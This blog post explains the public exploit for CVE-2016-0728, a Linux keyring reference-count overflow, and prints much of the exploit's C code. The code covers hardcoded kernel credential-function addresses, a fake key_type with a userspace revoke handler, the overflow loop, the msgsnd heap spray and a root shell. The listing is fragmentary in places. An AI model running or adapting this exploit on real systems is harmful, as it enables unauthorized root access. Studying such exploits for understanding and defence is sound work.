My Avatar

Shilong ZHAO

CVE20160728 Exploit Code Explained

2016-01-25 00:00:00 +0100

In case you have any questions or suggestions, you can leave comments HERE . Thanks!

CVE-2016-0728 is a bug related with Linux keyring, it occurs that I use this utility from time to time. So it’s a good chance to see what is happening. This post just serves to understand the exploit code. For more details of the bug, see the original post in [1].


It exploits the bug that there is an integer overflow, and the fact that when the keyring’s reference count is 0, the keyring will be released, but due to the memory management mechanism of Linux, the slab allocator makes it possible to reuse the freed keyring structure memory, by preparing carefully what we can sent to that piece of memory and execute the revoke() function in kernel mode, it’s possible to gain the root privilege.

To know more about Linux Keyring utilities, see [3] and [6]. To know more about Linux memory management, read [4] and [5].

If you are not familiar with C x86 function attributes, just reference [7].

Analysis of Exploit Code

The header file part, include header file <keyutils.h>. Remember to link the keyutils library when compile the code.

/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

In the following piece of code, _commit_creds is typedefed as a pointer to function, the function takes an unsigned long as a parameter and returns an integer.

The function attribute regparm(3) causes the compiler to pass up to 3 integer arguments in registers EAX, EDX, and ECX instead of on the stack. This could improve the efficiency of critical code [8]. But this does not seem to be necessary, since the compiler sometimes automatically optimizes the code.

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

STRUCT_LEN is the size of keyring structure minus the size of message

Functions prepare_kernel_cred and commit_creds are declared in include/linux/cred.h [9] as

extern struct cred *prepare_kernel_cred(struct task_struct *)

extern int commit_creds(struct cred *);

and are implemented in cred.c

int commit_creds(struct cred *new)

struct cred *prepare_kernel_cred(struct task_struct *daemon)

prepare_kernel_cred will prepare a set of credentials for a kernel service, if a parameter If is supplied, then the security data will be derived from that; otherwise if the parameter is null, they’ll be set to 0 and no groups, full capabilities and no keys.

commit_creds will install new credentials upon the current task.

Addresses of commit_creds and prepare_kernel_cred functions are static and can be determined per Linux kernel version/android device. You have to modify these two addresses in order to run the program on your own PC.

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

It is possible to view the addresses of these two functions from the kernel’s symbol table.

[szhao@localhost ~]$cat /proc/kallsyms | grep commit_creds
ffffffff8109e310 T commit_creds
ffffffff818b8be0 r __ksymtab_commit_creds
ffffffff818d0c50 r __kcrctab_commit_creds
ffffffff818dea76 r __kstrtab_commit_creds
[szhao@localhost ~]$cat /proc/kallsyms | | grep prepare_kernel_cred
ffffffff8109e620 T prepare_kernel_cred
ffffffff818bfc10 r __ksymtab_prepare_kernel_cred
ffffffff818d4468 r __kcrctab_prepare_kernel_cred
ffffffff818dea3a r __kstrtab_prepare_kernel_cred

The user space keyring type [6][10] is

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;

the user space revoke function instead of the real one.

void userspace_revoke(void * key) {
int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
    unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;
    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;

The following part prepares the msg which is going to be fitted to the kernel memory. Note the content msg.text is rewritten, especially stored in &msg.mtext[80] is a pointer to my_key_type whose revoke function is userspace_revoke.

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;

    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

Initialize the keyring and overflow the reference count

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

    keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        return -1;

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        return -1;

    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            return -1;
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            return -1;

    puts("finished increfing");

Now, when the reference count of the keyring reaches 0, which is overflowed, that piece of memory will be freed. But thanks to the Linux kernel slab, it is possible to override the freed area in the kernel memory with prepared malicious data, which has the same size of the keyring object.

    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            return -1;

        if (pid == 0) {
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {

    puts("finished forking");

    /* call userspace_revoke from kernel */
    puts("caling revoke...");

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;



[1] Perception Point CVE-2016-0728

[2] Red Hat CVE-2016-0728

[3] Keyrings(7)

[4] Understanding the Linux Kernel

[5] Linux Kernel Development

[6] Get Started with the Linux Key Retention Service

[7] C Function Attributes

[8] Function regparm attribute

[9] Linux Kernel Functions Declaration Source Code

[10] Linux Kernel Key Type Structure